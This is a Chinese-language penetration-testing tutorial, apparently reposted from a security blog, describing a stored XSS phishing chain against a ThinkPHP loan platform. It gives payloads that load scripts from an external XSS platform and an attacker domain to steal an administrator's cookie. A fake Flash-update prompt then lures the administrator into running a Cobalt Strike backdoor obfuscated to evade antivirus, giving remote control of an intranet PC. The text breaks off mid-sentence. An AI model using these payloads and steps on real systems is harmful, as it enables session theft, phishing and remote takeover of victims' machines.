渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼
字数 1614 2025-08-15 21:32:56
ThinkPHP平台XSS钓鱼渗透测试教学文档
一、前言与背景
本教学文档详细讲解如何利用ThinkPHP平台存在的XSS漏洞进行钓鱼攻击,最终获取管理员内网电脑权限的全过程。该技术仅用于教育目的,帮助安全人员了解攻击手法以加强防御。
二、环境准备
攻击者环境
- Kali Linux攻击机:IP 192.168.1.9,运行Cobalt Strike服务端
- VPS服务器:托管两个网站
- ThinkPHP贷款平台:http://test1.dayuixiyou.cn/
- 钓鱼网站:http://flash.dayuixiyou.cn
目标环境
- 办公电脑:Windows 7系统,双网卡(192.168.175.153和10.10.1.5)
三、XSS漏洞发现与利用
1. 注册测试账号
- 访问ThinkPHP贷款平台
- 注册普通用户账号并登录
- 进入"个人中心"→"设置"→"结算信息"
2. 验证XSS漏洞
- 在结算信息输入框输入测试payload:
<script>alert(1)</script> - 提交后查看页面源代码,确认XSS代码未被过滤
- 确认漏洞存在:前端显示弹窗且源代码中保留原始XSS代码
3. 搭建XSS平台
- 访问XSS平台(如https://xss.pt)
- 注册账号并创建新项目
- 选择"Keepsession"保持会话选项
- 获取标准XSS利用代码:
</tExtArEa>'"><sCRiPt sRC=https://xss.pt/..aJ></sCrIpT>
4. 植入XSS代码
- 将上述payload插入结算信息输入框
- 提交后观察XSS平台是否收到请求
- 确认XSS执行成功后,进行"提现申请"操作
5. 获取管理员Cookie
- 当管理员审核提现申请时,XSS代码会在管理员浏览器执行
- XSS平台将捕获管理员的Cookie和URL信息
6. 利用Cookie登录后台
- 通过目录扫描发现管理后台登录页面
- 使用Burp Suite拦截登录请求
- 替换请求中的Cookie为获取到的管理员Cookie
- 成功进入管理后台
四、XSS钓鱼攻击实施
1. 搭建钓鱼网站
- 在VPS上部署伪造的Flash更新页面
- 页面URL:http://flash.dayuixiyou.cn
2. 生成免杀后门
- 使用Cobalt Strike生成C#语言的shellcode
- 进行代码混淆(可使用Python的tinyaes模块)
- 使用pyinstaller生成exe文件
- 将后门命名为
flashplayer_install_cn.exe
3. 修改钓鱼页面源码
- 修改index.html中的下载链接指向后门文件
<a href="flashplayer_install_cn.exe">立即下载</a> - 创建诱骗JS文件(flash-test.js),内容为提示Flash版本过低并重定向
4. 植入XSS钓鱼代码
- 在结算信息中插入新的XSS payload:
"><sCRiPt sRC=//flash.dayuixiyou.cn/flash-test.js></sCrIpT><" - 提交后等待管理员审核
5. 钓鱼过程
- 管理员访问提现申请页面时执行XSS代码
- 显示"您的FLASH版本过低,尝试升级后访问该页面!"提示
- 点击确定后跳转至钓鱼页面
- 管理员下载并执行伪装成Flash安装包的后门程序
6. 获取权限
- 后门程序连接Cobalt Strike服务端
- 攻击者成功获取管理员内网电脑的控制权限
五、技术要点总结
-
XSS漏洞利用关键:
- 寻找未过滤用户输入的页面
- 使用大小写混淆绕过简单过滤(如